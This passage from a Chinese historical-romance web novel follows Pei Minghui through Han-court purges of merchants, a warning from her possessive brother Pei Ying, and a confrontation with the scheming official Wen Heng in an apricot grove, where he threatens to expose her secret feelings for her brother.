一时心中血气翻涌,但温珩碍于二人身份的差距,他也不能发作,只能银牙咬紧心中暗骂,用力一挥马鞭双腿一夹白马马腹,白马吃痛嘶鸣,扬起四蹄,轻盈踏雪而去:“驾——” 裴瑛收回目光,走进了郭府,一班御史随后跟进,凌乱飘飞的雪花飞扬不歇,渐渐遮住了他们的身影,只余一片天地茫茫。 * “什么!”裴明绘一下子站了起来,手里捧得的茶盏摔在了地上,登时四分五裂,茶水飞溅濡她的衣裙,“郭府真的夷了三族吗?那群人真的都杀了?都杀了?!” 聂妩抿紧了唇,沉默地点了点头,她又斟酌了许久,方才开口说道,“这次死了四百多人,听说刀斧手的刀都卷了刃了。” 裴明绘深深地闭上眼,她的脸色异常得惨白,唇紧紧抿成一条线,手指紧紧握住桌案,指节处都泛起了白。 她的思绪不可控制地飘到了那份决定他们生死的死亡名单之上。 因为她多年经理商事,故与长安诸位大商都十分熟稔,这次闹事之事,很多人都明里暗里参与其中,明面上的人自不必说,暗里借助哄抬物价的大商却也是不胜枚举多如牛毛,想激起民愤给朝廷施压。 所以她便草拟了最初的名单,而后交由裴瑛,再由裴瑛与众官员核实补充,而最后一场会议之后,众人无异议便开始拿人。 这是裴明绘第一次出席政|治会议,在这场大多都是酷吏的会议里,她因为太过纯良而颇为格格不入,她坐在裴瑛身后,以皇帝特许的身份,畏畏缩缩地与会。 裴明绘本千万个不愿,她虽是大商,却终归是尚未婚配的女子,与一班男子共处一室自是有很大的不便。 这还是次要的,最重要的是,这次温珩同她一样,是以皇帝特许的身份一同与会,参赞政务辅佐国事。 执行官吏如廷尉沈蓦,御史中丞李重,廷尉丞王何实,左内史苏止诸位大臣,而经济大臣则以大农丞桑弘羊为代表出席会议。 这是裴明绘第一次见到闻名遐迩的桑弘羊,这个自幼年时便以精于心算而闻名与群英荟萃的洛阳的男子,他就坐在长案之后,安静而又沉默,只在必要的时候提出询问与意见。 除了较为温良的一班经济大臣,其余每个人的身上都是一种极为冷酷的煞气,以及近乎无情的冷漠,细致缜密地商榷着如何对名单上的人物量刑。 而在这场会议里,裴明绘再次见到了温珩。 第42章 我虽不能同你一道去,但是你若同某人干系过密,也莫怪我不客气了。 就在众人悉数落座之后, 温珩迟迟而至,白皙的脸上永远是颇有些妩媚的无辜的笑意,虽然在座的诸位大都心知肚明他是多么狠毒, 但都为其笑吟吟的神情所迷惑。 刺目的日光落入屋内,照得他面容都在发光, 他的目光梭巡而过,独独在裴瑛那里停顿过一瞬,二人的目光在撞在一起之时便迸出无形的火花,却又在分离的瞬间消失无迹,各自如常。 裴明绘心跳如鼓,暗自庆幸着, 温珩的目光并未在她身上停留, 大概是因为裴瑛的身子挡着她。 “千万别看我,千万别理我。” 她紧张到手心冒汗,只能暗自祈祷,在这种正式的场合, 温珩千万搭理她。 如果温珩这个疯子在大庭广众之下扯出二人的旧事来, 她简直不敢想结果会是什么样的。 先不说裴瑛会怎么说, 她怕是成为整个长安城茶余饭后的笑话了。 彼时的她就像一只藏在草丛里的兔子,惊悸地度过每一分每一秒。 听闻后方紧张的呼吸声,裴瑛微微偏头,余光便落在了使劲低着头降低存在感的她的头顶, 黑寂的眼睛微微眯起,惊起一池隐秘波澜。 这是一场决定他们的生死的会议,裴瑛与温珩也并未有言语上的争执, 看上去就像是共襄国事上谦下恭的和谐场面。 任谁也不会想到两个人都怀着将彼此碎尸万段的心思。 但是因为皇帝的命令,两个人不得不聚在一处, “心平气和”地商议对策。 这场会议进行得非常顺利,经众人商榷之后,裴瑛朱笔一批便圈定族灭之人,而后便是弃市,流放之人。 以为首郭升罪名最重,皇帝特令绣衣使者温珩亲领羽林卫前去缉拿,其余众人以参与程度依次定刑,但大多都以斩首弃市。 裴明绘其实万万没有想到她所拟定的名单竟然会死这么多的人,或者说,名单上的人大都被判处了不同形式的死刑。 可是事情已成定局,等到红日临窗晚霞似绮之时,这场会议方才告知,每个人都匆匆而去,裴明绘乖乖地跟在裴瑛身后,一同往外走。 温珩也起身,一抬眼,便正好看见她跟在裴瑛身后,低着头,一句话也没有。 绚烂的夕阳霞光勾勒出她的侧颜,光影朦胧,似真似幻。 裴明绘察觉到了温珩的目光,顿时如芒刺背,可是好奇心却还是驱使着她偏过头去。 目光相撞在一起,隐隐激起欢悦的波澜。 这是裴明绘第一次清楚地看到温珩的本来面貌,美丽,妩媚,那双动人心魄的眸子闪着狡黠的光,让人误坠入那多情的海市蜃楼里,被内里涌动的狠厉波涛纠缠,然后坠入湖底,不得翻身。 柔和夕阳是最美的胭脂,照出少年最动人的容颜。 金冠玉带,锦衣朱服。 少年冲她一眨眼,眼中夕阳波光粼粼。 一道冷冷的目光插了过来,裴明绘顿感心惊,一回头便见那墨色的双眸染上了冷色,满是威胁之意。 裴明绘心里一空,不妙感随后涌上心头,暗道完道。 裴瑛的目光从她的身上挪开,便又放在了温珩身上,霎时所有冷意都不再加以掩饰,如利刃般冷冽却又锋芒毕露。 温珩微微眯起双眼。 原本松泛的气愤再度紧张起来,裴明绘夹在中间,分外难受。 她闭了闭眼,小心翼翼拽了拽裴瑛的袖子,将裴瑛的注意力引了过来。 裴瑛一把将袖子从她手中扯了出来,转身便疾步离开。 裴瑛扶额,只得快步跟上。 等到兄妹二人的身影消失在夕阳的余晖之下,温珩这才起身,金织银绣的衣袍簌簌作响。 在门外等候倚久的黄门总管心有余悸地看了看消失的裴瑛的身影,庆幸他们没有打起来,这才走了进来。 “包公公。” 温珩微笑着一拱手。 “陛下口谕,还请大人先去国狱看望丞相,陛下听说丞相的身体不太好,便特请温大人向丞相略表关怀之情。” 黄门总管与温珩一道往外走,冷风在夕光中游窜,干燥而又寒冷。 “还请公公代臣回禀陛下,陛下的意思,臣明白了。” * 正月初旬,皇帝因为皇太后的压力之下,决定释放在大牢的丞相,可是就在郎中令在狱丞的带领下,甫一推开门,却发现丞相已经面目扭曲身体僵直躺在稻草堆上,身上盖着皇帝御赐的狐裘,但他的身体都已经凉透了,连带着柔软的狐裘都冒着凉气。 很显然,丞相被吓死了。 对于丞相舅舅的死,皇帝深感痛悔,亲去丞相府告慰,念及其过往之功劳,便以厚葬,以来安抚皇太后失去弟弟的悲痛之心。 * 云消雪霁,春回大地,冰雪消融化作春水,汇入了破开坚冰涛涛东去的渭水,柳树也抽出嫩芽来,在柔和春风的吹拂下,一点一点染绿江水。 长安护城河内春水半满,粼粼波光间照出来往行人匆忙的身影,整座长安城业已度过了那段苦寒的岁月,开始一点一点慢悠悠地复苏过来。 裴明绘已经一月都没有出门了,最近的商事都交给了聂妩去处理,其实长安的商事大都处于停顿的状态,很多商人的家财都充了朝廷府库,原本繁华的东市大街一夜之间便萧条了。 与此同时,算缗告缗令有了突破性进展,天下的人也都开始举报有钱人瞒报财产,正所谓“告缗满天下,中家之上大抵皆遇告。” 而被告缗之人往往都不甘于自己的半数家财都被朝廷收去,于是开始想法设法申诉,而受理这些上诉的人并非廷尉府,而是直接上报了专门负责奉命讨奸、治狱,督察官员和亲贵的绣衣使者温珩那里,他看起来远比裴瑛要更会做官。 裴瑛尚且辅法而行,温珩则更会顺遂上意,直接视法律为无物,于是如山的申诉状书也很快被丢弃在御史府府库里生灰生虫去了。 文景之治之后,农不如工,工不如商,刺绣文不如倚市门的风气愈演愈烈,养育出很多家资以千万计的富商巨贾。 他们因其富厚,交通王侯,力过吏势,并巧取豪夺,兼并农人,以其厚而不佐国家之急。 但是就在他们对汉朝统治形成威胁之时,却因为战争的到来造成国库空虚财政支绌,皇帝也不得不打起了他们的主意,他们就算有心反抗也是胳膊拧不过大腿,很快文景之治而积累的民间财富也被皇帝收割完毕。 虽然商业凋零了富商穷苦了,但是皇帝的府库充盈了。 汉朝财政的危机也转圜过来了,可以全力支持对匈奴作战。 持续三年之久的财政危机业已度过。 河冰划开涛浪再起,春天再度随着春风一同到来大漠,汉朝进行最后反击的时候也随之到来。 急行二百里,单于夜奔忙。 勒石燕然城,封狼居胥山。 边塞喜报频传,大司马大将军谢无疾率主力追击匈奴,数战接捷,匈奴单于只能坐着六匹骡子拉的车,趁着沙尘暴抛弃主力部队灰溜溜地逃走了,他在路上只能悲哀地唱着歌。 “失我焉支山,令我妇女无颜色。 失我祁连山,使我六畜不蕃息。” 虽然单于奔逃无踪,但是大将军立即率部追击掩护匈奴留守人员以及辎重撤退的左贤王部,并将其全歼。 自此漠北之战告捷,汉朝过往屈辱也被一扫而净,当这个消息传到帝都长安的时候皇帝闻讯大喜,大宴群臣,以待大军凯旋而归。 与此同时,大农令署与少府寺开始最重要的事,便是杀敌建功的将士的赏金,这可是非常庞大的数目,但是鉴于国库已然充盈,二府也就没有忧虑了。 虽然如此,对于帝国商业的问题,却也是不能任由它就这么衰败下去。 而裴明绘浸淫商事多年,自然明白商业凋敝所带来的后果。 她心中想道,算缗告缗给商业带来了打击,又何尝没有带来机遇? 不仅是个人的机遇,或者是整个国家的机遇。 她每每想到这一点,不由心跳过速。 当她将她的想法讲给已经冷落她许久的裴瑛听得时候,裴瑛陷入沉默。 裴明绘不明白他为什么默然无语,既不表示赞同,也不表示反对。 她知道,裴瑛永远都是向着她的。 但她不应该永远躲藏在他的羽翼之下,她既然有能力,便应当站出来,同他站在一处。 天空又泛起了鱼肚白,初春的清晨是清寒而又潮湿的,每一次的呼吸似乎都带着十足的水汽,阳光明亮而又刺目,让她有些睁不开眼。 裴明绘方才从噩梦中醒来,深重的疲惫困扰着她,她本想再睡一会儿,可是如今已经辰时了,她也到了进宫拜见谢皇后的时候了。 按理说,进宫拜谒皇后乃是好事,裴明绘自然不该愁眉苦脸,以至于做了整晚的噩梦而不得安睡。 而她如此惊慌难安的原因,自然就是因为皇宫里面有温珩出没。 温珩有侍中的加官,可入禁中受事,她去宫中难保不会撞见他。 或者说,他难保不会来找自己。 一想到进宫就会见到自己最不愿意见到的温珩,裴明绘顿时一个头两个大,她情愿将自己撞晕在这里,也不想去见温珩。 “小姐……” 帐子外头传来春喜的声音,裴明绘这才把头从被子里伸出来。 烂摊子总得收拾不是吗,早晚都得碰上,她倒要看看温珩到底打得什么主意。 春喜夏荷二婢服侍裴明绘穿上素色深衣,领口与袖口处均有一寸长深色滚边,上有收尾相连之雀鸟纹样,在阳光的照耀下波光粼粼的,像是雀鸟的羽毛在发着光一般,腰间则用神色丝带将同色腰带束起,后悬上玉佩。 等待装束完毕,裴明绘便往镜台的方向走去走去,她眉眼低垂,显然心不在焉。 她跪坐镜台之上,等着两位婢女前来是侍奉梳妆,很快,她如春水般柔顺光亮的长发便被轻柔地撩了起来,一只优雅修长,被春光照耀出玉一般的泽手执起搁在镜台上檀木梳篦,然后替她梳着长发。 裴明绘还在发呆,目光冷不丁扫过铜镜昏黄的镜面,看见了自己背后那颀长俊雅的身影,他长身跪坐着,有如空山新雨高山流水一般的隽秀高压,而这般的任务,此时此刻正垂着如画一般的眉眼,认真替她梳着发。 “!” 裴明绘瞬间从迷蒙中惊醒,正欲扭身,却又被一只手按住肩头。 那个搭在她肩膀上的手看似只是随随便便的搭在那里,可是裴明绘却仿佛被禁锢住一般,一点也动弹不得 “别动。” 是裴瑛的声音。 波澜不起,很是平静。 于是,裴明绘也只得乖乖地坐着。 柔顺得发丝在他的手上,便如同缎带一样,他将发拢结于顶,用鲜艳的红丝绳分股系结,弯曲成鬟,最后将金簪固定,白皙的手指将长长的流苏放下,悬在耳畔。 他的手指离开金色的流苏,离开之时,却不小心碰到了她微微发红的耳垂。 他的动作微微停滞了一刻,但是很快就收了回去。 裴瑛的目光不动声色地看着铜镜里垂着头的裴明绘,漆黑的眼眸闪过一丝探究的神色,但很快就湮灭无际。 “今日皇后唤你进宫,便是陛下对你的建议很感兴趣。为兄虽不愿你关涉政事,但当今的陛下并非庸常之君,并不会因为你是谁的妹妹而会对你网开一面,你只有自己有功绩才能站得住脚。今日之天下风起云涌,诸事大多扑朔迷离无定数,你既然有能力,便当自己去试一试。为兄自当全力支持于你。” 裴瑛的目光越过她,停留在昏黄的镜面之上,一寸一寸描摹着她的容颜,眼中闪过一些深沉的光晕。 裴明绘既欣喜又心惊,喜的是自己可以帮上裴瑛,惊的却是他真的同意了。 就在她准备回头之时,就听裴瑛的话锋突然一转,他按在自己肩上的手也更加用力。 “当然,我来此,不只是为着这件事。同时也是为了告诉你,莫要同不相干的纠缠。” “别我在心情好的时候,弄出一些不愉快。” “我虽不能同你一道去,但是你若同某人干系过密,也莫怪我不客气了。” 第43章 缤纷杏林里,不速之客来。 缭绕椒房殿的馥郁檀香, 安静侍立的宫娥,散漫淡漠的敲棋声无序地回响着。 谢皇后宛若月光流水一般美丽静谧,她穿着碧色的深衣, 乌发挽起,佩之赤金凤冠, 凤之口衔水晶,晶莹剔透。 她正倚靠在檀木凭几之上,纤细白皙的手指执着一枚圆润光泽的黑色棋子,目光轻轻落在棋盘上,秀丽的眉蹙起,显然在思忖着下一步该行在何处。 女御长走了进来通报御史大夫之妹裴小姐已然殿中等待, 谢皇后方才将手中所执棋子轻轻搁在纵横交错的棋路之上, 一旁的宫娥翡翠搀扶起皇后,后面一众随侍的宫娥也一并鱼贯而出。 跪坐的长信宫灯灯火闪烁,香雾自错金博山炉的山体镂空处缭绕而出。 裴明绘等候在椒房殿正殿之中,就听闻衣裙簌簌脚步踏踏之声, 谢皇后已然在凤座之上落座, 两侧灯火之光闪烁迷离, 勾勒出她威严庄重却又美丽雍容的身形。 裴明绘方才起身,郑重叩首:“臣女裴明绘,叩见皇后娘娘,皇后娘娘千岁千岁千千岁。” “平身罢。”谢皇后白净温柔的面庞勾出一丝和蔼的笑意, “翡翠,赐座。” 裴明绘这才起身,在香雾迷离里, 她第一次近距离见到了后宫之首的谢皇后,她正襟危坐在凤案之后, 朱色凤凰漆屏之前,她微微扬起下颌,由此到洁白的颈项,便是画家之绝笔。 裴明绘入座之后,谢皇后先是问候一下她与她的哥哥,方才说到了今日要她前来的目的:“裴小姐久经商事,想必也看到了东市的景象,本宫甫听裴小姐的建言,便觉惊奇,本宫业与陛下商榷过,此法确实可行,若是行之,便可消除许多积久之弊病,不知,裴小姐可愿领衔之?” 裴明绘业已经过深思熟虑,便提群起身,再叩首,道,“妾以微末之身,得皇后娘娘提携,自当昧死以报。” 谢皇后的脸上漾出一片舒心的笑容:“此非本宫的意思,乃是陛下的意思。今商业凋敝,正当除弊革新,你的建议正当其时,来日当大有用处。只是你如今只是商贾之身,却无官身,来往行事若是总假他人之手,未免太多不便。可宫中尚未有专职女官,本宫良久思忖,决定受你廷女官加以侍中之职,入禁中受事。” 裴明绘万万没有想到自己竟然还有官职,她原本以为自己就只是以商贾之身辅以政策,只待落实之日便当全身而退。 怪不得今日哥哥那般说,他是早就知道自己会得到官职吗? 惊喜之余,裴明绘未免有些担忧,自己以女子之身,未免朝野不满,兼之朝廷又以儒学为官学,天知道那群占据朝廷的口舌伶俐的儒生们会说什么话。 但兵来将挡水来土掩,裴明绘恭敬叩首,再拜谢恩。 谢皇后欣慰地看着她,雍容的眉眼之上浮漾着一丝宽慰之意,她垂下眼睫,过了会儿又抬了起来,她看着跪在地上的女子,柔声道,“自我大汉定鼎以来,未曾有女子加官理事。你既有才华,又有机遇,还望你不要辜负陛下与本宫的期待。” 等裴明绘出了椒房殿之后,便在宫娥的引领下准备出宫,走过开满杏花的杏花林小径,她不禁沉醉在氤氲的杏花香里,陶醉在眼前着粉白相间的景色里。 雪色澄澈,胭脂万点。扶疏里,天辽阔。 清淡的带着糯米香的杏花香味扑鼻而来,让她上下起伏的心也逐渐稳定了下来。 经过了一个寒冬的漫长岁月,她几乎都要忘记了春天是这么美好。 裙裾拖曳过落满杏花花瓣的白色石砖,她抬头望想被花枝分割得斑驳的纯净的蓝色天空,清风过,簌簌杏花落。 杏花满枝头,像是琥珀或玉石精心雕刻而成,嫩黄的花蕊之上栖息着美丽的蝴蝶,扑闪着绚烂的翅翼。 透亮的阳光与斑驳的花影落在她的白玉般美丽的脸上,让她雪白肌肤发着柔和亮丽的光。 她的心神完全被摄住了,丝毫没有注意到原本引路的宫娥已经不见了身影。 缤纷杏林里,不速之客来。 一双黑色长靴踩过地上纯洁的杏花,这一次,它们没有被踩成花泥,而在长靴移开之后,依旧舒展着自己美丽的身躯。 危险在一步一步逼近,她却全然没有意识到,一片杏花打着旋从枝头飘落,落在她的鼻尖,而又旋转着飘落,跌入花海里。 有些痒。 她一回头去,正正撞进一双盈着笑的眼眸。 疾风过,杏花如雨倾。 依旧是那身艳丽夺目不可逼视的红色衣裳,收身裁剪勾勒长腿窄腰,乌发束之以金冠,眉目染之以朱红。 永远意气风发,永远嚣张跋扈。 他抱臂立在花雨之中,笑吟吟地看着她。 温柔,恣意,隐匿着恶鬼的嚣张。 “!” 裴明绘所有好心情一瞬间烟消云散,恐惧蚀骨而生,但是她到底也是经过大风大浪的人物,遂逼着自己冷静下来。 转身就走未必就能摆脱温珩,所以看来不得不打招呼了。 裴明绘面上微笑着,颔首致意。 “温大人。” 像是对待最陌生的熟人一般,礼貌而疏远。 温珩惊讶地挑了挑眉,扬起了精致的下颌:“看来小姐并不惊讶在这里见到温某,温某实为欣慰。” 裴明绘:“杏林如此美,我自无独占之理,天色不早了,我先走了,就不打搅温大人赏花之兴了。” 裴明绘刚走出一步,那艳丽的红色身影就像是鬼魅一般飘了过来,正正挡在她的身前。 他带着狡黠的笑声传了过来:“小姐怎么这么着急走,我又不会吃了你。” 裴明绘向左走了一步,温珩遂又跨了一步挡住了她的路。 “……” 裴明绘抬起头来,冷冷地看着温珩。 “让开。” 温珩闻言,凤眸里波光宛转,似有受伤之意:“不过三月未见,小姐便如此生疏,看来我们之间似乎有些误会。” “……” 见眼前人如此厚脸皮,裴明绘停止与他兜圈子,掀起眼皮来,黑眸闪过一丝寒意,她冷冷道:“误会?那倒未必是误会,只是明月坊的库房为何失火,想必温大人清楚得很。” 裴明绘知道眼前的男人是个疯子,不可以轻易待之,也不能以常理心度之。 更重要的是,裴瑛临进宫之前才警告过她,焉知他在此处没有耳目? 方才修复的兄妹情焉能再被此人破坏。 所以她强压着心头的怒火,理智地与之斡旋,尽量不要激怒温珩,让他说出一些不得了的话来。 “哦,我当是什么。”温珩恍然大悟,红唇勾起,露出整洁的银色齿列,“原来是这件事,天干物燥,难免走水。我只浅浅点了一把火,谁知道就烧起来了。” 听他的语气,似乎他还是受害者一般,裴明绘顿时火上心头:“你点的火,那你还来见我!你怎么这么无耻。” 裴明绘一把推在他的胸膛,温珩原先纹丝不动,看见她的怒火中烧显然气得不轻的样子,便儿戏地后退几步,垂首笑了起来,又抬起了头来,面上余留着尚未消散的散漫笑意,他摆了摆手,显然没把她的攻击放在心里。 “别着急走吗?” 眼见裴明绘要走,温珩一把拉住裴明绘的手腕,顺势一拉,裴明绘便一步也不能后退。 “放肆!”裴明绘想要将禁锢着自己的手甩开,奈何温珩用力极巧,像是罗网一般缚住她纤细的手腕,开始松泛留有空隙,实则寸寸紧逼不得解脱。 他一用力,裴明绘便如同被绳子牵引着一样往前走去。 她起抬头,他俯下身。 柔和的春风拂过,带来杏花香气。 “你也不想让你哥哥知道我们的事罢。” 裴明绘闻言,冷笑一声,眸光闪过波澜:“我哥哥早就知道了,你少拿这件事来威胁我。松手!” “哦,看来裴瑛也知道妹妹爱哥哥的事了。” 温珩状似惊讶,笑着说道。 一语石破惊天。 裴明绘的脸色瞬间凝固了,她的眼瞳颤抖着,不可置信地看着温珩。 漫天杏花纷飞里,微笑着的红衣少年像是玩弄人心的恶鬼一般。 “看来,我说对了。” 温珩惊讶地喟叹一声。 “真是不敢想象,若是那个自诩清高的裴瑛知道自己一直疼爱的妹妹对自己怀着不轨之心,脸上会是什么颜色?某真是太期待了。” 裴明绘的脸色越来越白,牙关越咬越紧,她一把挣脱温珩的钳制,揪住他的衣领。 温珩见状,便顺势弯曲膝盖将身子压低后仰,顺服地占据低位让裴明绘来俯视他,眨着美丽而又无辜的眼眸看着裴明绘。 “你怎么知道……” 裴明绘几乎是从牙关里挤出来这句话。 “没办法,我只要一看就知道了。”温珩笑吟吟地说道,“谁让我天生就会探究人心呢。” 她浑身颤抖着,手部的骨骼用力嘎吱作响。 心里隐秘的情感被不该知晓的第三人知晓,愤怒恐惧迷茫霎时如潮水般席卷而来,欲望告诉她应该将眼前人碎尸万段,可理智却告诉她,她没有能力这样做。 在内心的天人交战之中,理智终究占据上风。 可就在二人僵持之时,温珩从容嬉笑的神色忽然消失,漆黑的眸子里闪过一丝冷寂,但很快又尽数淹没在光晕里。 “哎,光天化日,真要如此着急吗?” 他的话如此妩媚,尾音微微扬起,带着隐隐约约的情|欲。 可就在裴明绘不明所以之时,就在温珩冲她眨了眨眼,裴明绘顿感不妙,可她已经来不及松手了,温珩已然张开手臂,卸去全身的力道,向后跌去。 裴明绘被他带着,也往前摔去。 瞬间满地落花飞扬,她重重跌在他的怀里,而他怀里那氤氲的香气遂扑鼻而来,迷人心智惑人心神。 随后而来是脚步之声。 裴明绘瞬间变明白了温珩意欲何为。 一瞬间恐惧与杀意并行而至,她的身体因此而剧烈地颤抖着。 啊啊啊,她要杀了他杀了他! 碎尸万段焉能泄其恨啊! 第44章 一个跪地弓身痛苦不已,一个长身玉立疑惑不解。 但是很快, 恐惧便将愤怒压过,理智迅速回归。 裴明绘也绝非坐以待毙之人,她被温珩坑了这么惨, 岂能再跌进陷阱。 她遂撑地坐在他的身上压制着他,而后趁其不备左右开弓, 给了他两记耳光。 一瞬间,风似乎都停止了,林稍花海也不再翻涌了。 温珩不可置信地看向裴明绘,白皙的面上多了两个突兀的红印,一丝如同胭脂一般的鲜血缓缓从唇角流了下来,原本整洁的发丝散乱开来, 沾满了清新美丽的落花。 纵然如此狼狈, 温珩身上也有一种被凌|虐的美感,他的眼睛像是破碎的琉璃,折射着带着杏花颜色的绚烂光澜,又有潮湿的水光, 其间波光粼粼好似纯净的湖面, 让人忍不住便陷了进去。 “让你欺负我哥哥!” 裴明绘立即掐住他的脖子, 用尽平生所有的力气,而后一头撞了上去。 “去死!” 就在撞击的一瞬间她脑袋瞬间发闷,她的眼前是一片接着一片的白光,裴明绘感觉有人拎住了她的胳膊, 将她温珩身上拉了起来。 天旋地转,裴明绘笑着看着地上有许许多多重影的红色身影,她虽然看不清, 但然间他依旧没有起来,她的眉毛挑起, 不乏挑衅之意。 “裴小姐,你还好吗?” 声音似乎并非是裴瑛的,裴明绘遂大喜,顿时高兴得泪流满面。 这一撞委实不轻,就算是温珩一时间也是头昏脑涨不能消受。 “这是怎么了。” 温和而又关切的声音传来。 “怎么打起来了?” 裴明绘晃了晃脑袋,艰难地扭过头去,结果就看见了满是重影的一张脸,她又努力地眨了眨眼睛,才看清眼前人是谁。 桑弘羊。 他怎么在这儿。 可是裴明绘来不及多想,现在当务之急是要消除眼前天大的误会。 “桑大人。” 裴明绘抬起袖子擦去眼泪。 桑弘羊显然有些尴尬,他的目光还是忍不住看向从地上站起来的分外凌乱的温珩,见一贯仗势欺人的温珩竟被一介妇人殴打成如此模样,尴尬之余还是有些高兴。 当然,高兴归高兴,这种情绪自然不能表露出来。 毕竟,满朝文武谁不知道温珩这个披着人皮的恶鬼最是睚眦必报,没人会在他红地发紫得时候招惹他。 这个时候,桑弘羊正左右为难呢。 一旁的裴明绘就哭着跑开了。 没办法,儒雅的桑弘羊也只能冲着嘴角流着血分外狼狈的温珩歉疚地一拱手,然后去追哭着跑开的裴小姐去了。 “裴小姐,你且慢些。” 桑弘羊拉住裴小姐的衣袖,让她停了下来。 裴明绘抽噎着,拿着手帕擦着泪:“桑大人有所不知,妾偶遇温大人,却为温大人恶意刁难,妾几次退让,奈何温大人咄咄逼人,甚至侮辱妾的的兄长,妾受兄长照拂才能安然长大,最是敬重兄长。骤然听闻如此侮辱兄长恶劣之语,气上心头,便与温大人厮打在一处。” “如此粗鲁之行,还望桑大人莫要介怀。” 桑弘羊闻言,方才如释重负,遂出言宽慰道:“裴小姐敬畏爱护兄长之心,在下实为敬佩。裴小姐莫要担心,在下正是应裴大人之托前来寻裴小姐的。” 她就知道! 裴明绘面上依旧一副哀戚的样子,心中暗喜自己的随机应变之能。 “如此行径,实在不堪。妾怕兄长担忧,还望桑大人莫要将此事告诉告诉妾的兄长。妾在此拜谢桑大人了。” 眼见着裴明绘就要跪下了,桑弘羊急忙搀住她的臂膀,将她扶了起来:“哪里哪里,裴小姐体谅兄长之心,在下明白,只是事体重大,这绣衣使者又非寻常人,今小姐得罪于他,乃是惹祸上身啊。” 裴明绘闻言,遂泪流:“妾明白,只是此事未免过于难说,妾回府以后,自会告知兄长。” “这般也好。”桑弘羊点了点头,“裴小姐与裴大人兄妹情深,这般事还是由裴小姐自己说更为妥当。” “妾多谢桑大人体谅。” 裴明绘喜不自胜。 二人方才走了几步,桑弘羊又停住了脚步,微笑着问道,“在下听裴大人说了裴小姐的建言,有几点不明白之处,还请裴小姐指点一二。” 二人本就同为商事出身,趣味相投自不必说。 * 皇帝正在宣室殿批阅奏章,每每看到汉军大捷的消息都让他喜不自胜,就连乏味的儒生的上书都颇有些趣味在了。 就在此时,黄门总管走了进来:“陛下,绣衣使者来了。” “哦。”皇帝抬起眼来,“叫他进来罢。” 黄门总管躬身退下,皇帝也放下手中的奏章,不一会儿温珩就走了进来。 温珩一如既往地那般艳丽,朱色红衣在十三连枝铜灯的融融灯火的照耀下流转着金色的波澜。 可是皇帝还是一眼就看见了温珩脸上的伤,虽然他业已竭力用脂粉来掩饰了,但是还有些许红色的痕迹没办法掩饰掉。 “爱卿这是怎么了?” 皇帝颇为关切地问候道。 “臣无事,只是不慎跌倒了罢了,受了些擦伤。多谢陛下关心。” 温珩微笑着回道。 他在皇帝便是一直温顺的小白兔,所有锋芒都收敛起来。 “如此啊。”皇帝的目光在温珩的脸上梭巡而过,面上并未说什么起伏,只淡淡道,“朕还以为是谁打了爱卿,若是真的有人如此不识好歹,朕定要让他知道,什么叫好歹。” “有陛下在,哪里有人敢欺负臣呢。” 温珩笑着说道,白皙精致的面容也充斥的欢悦,可是眸光被阴影挡住,看不出情绪。 “对了,朕今夜叫你来,便是为着裴瑛妹妹的建言,你且来说说,可否实行。” 皇帝靠在凭几之上。 “臣以为,商业凋敝却是大患,但任由富商巨贾发展也为隐患,裴小姐之策,却是最好的折中之法,但其中未免有贪腐之人,当然这是不可避免的。” 温珩娓娓道来,从他的话来说,却是切实之言,也切中了皇帝的心思。 “所以,臣以为,裴小姐的建言,却是可行。若任由商业凋敝,未免民生受损。” “看来爱卿并没有以为裴卿的事而怨怼于裴家小姐。” 皇帝笑了笑,手肘撑在桌案上,脸搁在手腕上,修长优雅的眉眼不乏审视之意。 “倒是出乎朕的意料。” 温珩闻言,遂单膝跪倒,郑重言道: “臣虽屡遭飞来横祸,赖陛下恩德才免于一死,臣虽不知何处得罪了御史大夫,却也知晓御史大夫是国之栋梁,为汉朝立过大功,今陛下在用人之际,裴小姐虽为裴瑛之妹,却也于国于民大有用处,故臣不敢以一己之私而耽延国事。” 皇帝垂下眼眸,看着温珩忠诚的模样,细长的眼眸闪烁着微光,他不疾不徐慢慢说道:“朕知道温爱卿受苦了,裴瑛近几年行事虽然猖狂了些,但却是为着朕,否则朕也不会留着他。” 温珩慢慢抬起头来,白净的面庞是一双秋水似的眸子,恭顺敬服的笑意之后隐忍着委屈,让眸子如起水波一般。 煌煌莹莹,夺人目睛。 皇帝的目光不由放在了他这身衣服上。 朱衣光亮奢靡,金银交错作经纬,莹润白玉悬在漆黑腰带之上,勾勒窄腰。 皇帝知道温珩做的事,他也知道温珩在外行事多有张狂。 但是这样美丽而又张狂的宠物,却只听他一人的话,如何不让皇帝愉悦呢? 他的心情也跟着扬了起来,他抬了抬手,示意温珩起身:“此事,我知道了,你的忠诚,朕看在眼里,心里也明白。朕不会让你受委屈的。” 温珩讶然抬眸,水波似的目光映着宣室殿千盏灯火,些许辰光之后,他倏然展颜一笑,露出整齐的银色齿列。 “臣多谢陛下。” 他欢喜地躬身跪下,光洁的额头触地。 等到温珩从宣室殿出来的时候,迎面而来的便是微冷的夜风。 他的脸笑得有些僵,便在冷风中站了许久,听着檐下铁门叮咚,他的眸光渐渐冰冷起来,又过了些时候,他才拾阶而下,往云黛殿的方向走去。 曾经力压六宫的桃花夫人,也随曾经的谢皇后一样,在年华老去之后,成了独守空房的旧人了,默默地看着那娇媚的新人取代了他们的位置。 当温珩行到云黛殿时,便也停住了脚步,看着在温夫人盛宠之时皇帝让宫人们为她种下的一大片桃林,桃林掩映间可见灯火幽幽的千黛殿。 只是这桃林花开花败许多年岁,而君王的恩宠业已不在。 温珩不由想到了以前的日子,可是以前的日子太近又太远,清晰又模糊,一瞬间,他甚至不明白自己突然到了如此境地。 “在看什么呢?” 微凉的夜风轻轻吹来,带来熟悉的温柔声音,唤回了温珩的思绪。 他偏过头去,就见温夫人立在不远处,手上还有开得正浓的杏花,盈盈香气缭绕在她的身上。 “阿姐。” 温珩收起所有不好的情绪,快步走了过去。 “怎么采了杏花?” 温珩接过温夫人手中的花枝,那缭绕不散的香气让他的思绪又飘回到了白日的杏林,他的唇角勾起了一丝笑意,但很快便被记忆里那凶狠的一个巴掌打散了,表情骤然冷了下来。 很显然,这次挨打对于温珩来说,并不是一个很好的记忆。 “桃花还没到时候呢。” 温夫人笑着说道,她的笑容温柔得像是悠荡在桃林的暖风,带着幽幽的香甜气息。 “便采些杏花装点宫室。” 姐弟二人走进了黛云殿,殿中装潢一如既往,与温珩被发配西南离开长安之时一模一样,只是原本光亮的金银漆器丝绢布帛似乎都黯淡了下来,陈旧得像是蒙上了一层灰。 温珩将怀中的杏花枝插入漆瓶中,雪白的杏花灼灼盛开着,清香流溢,总让他不自觉地走神。 